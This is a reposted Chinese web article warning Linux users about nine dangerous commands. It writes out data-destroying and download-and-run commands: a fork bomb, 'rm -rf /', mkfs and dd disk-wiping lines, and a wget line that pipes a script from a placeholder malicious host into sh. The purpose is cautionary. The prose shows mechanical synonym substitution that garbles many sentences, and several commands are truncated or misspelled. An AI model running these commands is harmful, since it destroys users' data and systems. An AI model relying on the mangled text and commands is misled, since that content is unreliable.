9 个运用前有必要一再当心的 Linux 指令ITeye - 超凡娱乐

9 个运用前有必要一再当心的 Linux 指令ITeye

2019年03月26日12时58分43秒 | 作者: 振锐 | 标签: 指令,文件,删去 | 浏览: 2043

摘要: Linux shell/terminal 指令十分强壮即便一个简略的指令就或许导致文件夹、文件或许途径文件夹等被删去。 在一些情况下Linux 乃至不会问询你而直接履行指令导致你丢掉各种数据信息。 一般来说在 Web 上引荐新的 Linux 用户履行这些指令当然也有人哪些写过这代码的人不这么想由于这玩意你一写下去就不是玩笑了。

screenshot

Linux shell/terminal 指令十分强壮即便一个简略的指令就或许导致文件夹、文件或许途径文件夹等被删去。

在一些情况下Linux 乃至不会问询你而直接履行指令导致你丢掉各种数据信息。

一般来说在 Web 上引荐新的 Linux 用户履行这些指令当然也有人哪些写过这代码的人不这么想由于这玩意你一写下去就不是玩笑了。

这儿我收集了一些对体系有损害的 Linux 代码协助你防止他们。请记住这些代码十分风险乃至能够通过修正变得愈加有损害性。

还有一些工作需求留意一些指令只在 Ubuntu 中有 sudo 前缀时是有损害的。其他发行版别的 Linux则是在作为根目录指令时会有损害。

1. Linux Fork Bomb Command
:(){ :: : 以 Fork Bomb 出名是一个拒绝服务进犯的 Linux 体系。:(){ :: : 是一个 bash 函数。只需被履行他会不断重复直到体系被冻住。

你只能重启体系处理这个问题。所以当你在 Linux 界面履行这个指令时必定要留意。

2. Mv Folder/Dev/Null Command
mv folder/dev/null 也是一个风险的指令。Dev/null 或许 null device 是一个删去一切写在这个设备文件上数据的设备文件可是该操作提示却是写入操作履行成功。这便是咱们常说的 bit bucked 或许 black hole。

3. Rm -Rf Command
rm -rf指令在 Linux 体系中能够快速删去文件夹及其内容。假如你不知道怎么正确使用它你就只有哭了。

列下m-rf 指令最常见的组合和挑选

rm command 删去 Linux 体系的文件

rm -f command不需提示删去文件中的只读文件

rm -r command 循环删去文件夹的内容

rm -d command 删去空目录假如非空目录则不会履行该操作

rm -rf/ command强制删去根目录中的一切内容和子文件夹包括写维护文件指令。

rm -rf* command 强制删去当时目录中的一切内容当时工作目录和字文件夹

rm -rf. command强制删去当时文件夹目录/子目录中的一切内容 。同 rm -r.[^.]*

The rm -r.[^.]* command 删去文件及文件夹带有删去提示

4. Mkfs Command
假如你不知 mkfs 的效果那么它也是一个风险的指令mkfs 之后写的任何指令都将会被一个空白的 linux 文件体系格局化、代替。

下面罗列出需求办理员权限格局化硬盘的指令

mkfs

mkfs.ext3

mkfs.bfs

mkfs.ext2

mkfs.minix

mkfs.msdos mkfs.reiserfs

mkfs.vfat

mkfs.cramfs 也能够和上面的代码做相同的工作不过不需求办理源权限。

5. Tar Bomb
tar 指令用于将多个文件以 .tar 格局放入一个文件中存档文件。Tape Archive (Tar) bomb 能够由他创立。

当为紧缩时便是这个存档文件生成数以万计的类似称号文件出现在当时目录中而不是新目录。

当收到 tar 文件定时创立一个新的维护目录然后在解压前将承受的 tar 文件放到这个目录中你能够防止成为 tar bomb 的受害者。

6. Dd Command
Dd指令用于仿制 改动硬盘分区。假如你用错当地了那么也很风险。

下面罗列 dd 指令

dd if=/dev/hda of=/dev/hdb

dd if=/dev/hda of=/dev/sdb

dd if=something of=/dev/hda

dd if=something of=/dev/sda

下面这个指令会将整个主硬盘清零dd if=/dev/zero of=/dev/had

7. Shell Script Code
有时候你或许会被人坑给你一个 shell 脚本文件让你去下载并履行它。该脚本或许会包括一些歹意的或风险的代码。指令方式或许会是这样wget http://some_malicious_source -O- sh。 wget 将会在 sh 狭窄脚本时下载脚本。

8. Malicious Source Code
或许有人会给你源代码让你编译他。代码或许是正常代码不过有一些歹意代码伪装在大型源代码中假如是这样你的体系就中枪了。怎么防止仅承受并编译可信赖来历的源代码。

9. Decompression Bomb
你现已收到一个紧缩文件你被要求提取这个看起来很小的文件或许小到 KB。事实上该小尺度的紧缩文件包括高度紧缩数据。

只需文件解压上百 GB 数据会被提取这时候过大的数据填满硬盘导致宕机几率就很大了。怎么防止仍是那句老告别手贱什么文件都去接纳请接纳可信任来历文件。
版权声明
本文来源于网络,版权归原作者所有,其内容与观点不代表超凡娱乐立场。转载文章仅为传播更有价值的信息,如采编人员采编有误或者版权原因,请与我们联系,我们核实后立即修改或删除。

猜您喜欢的文章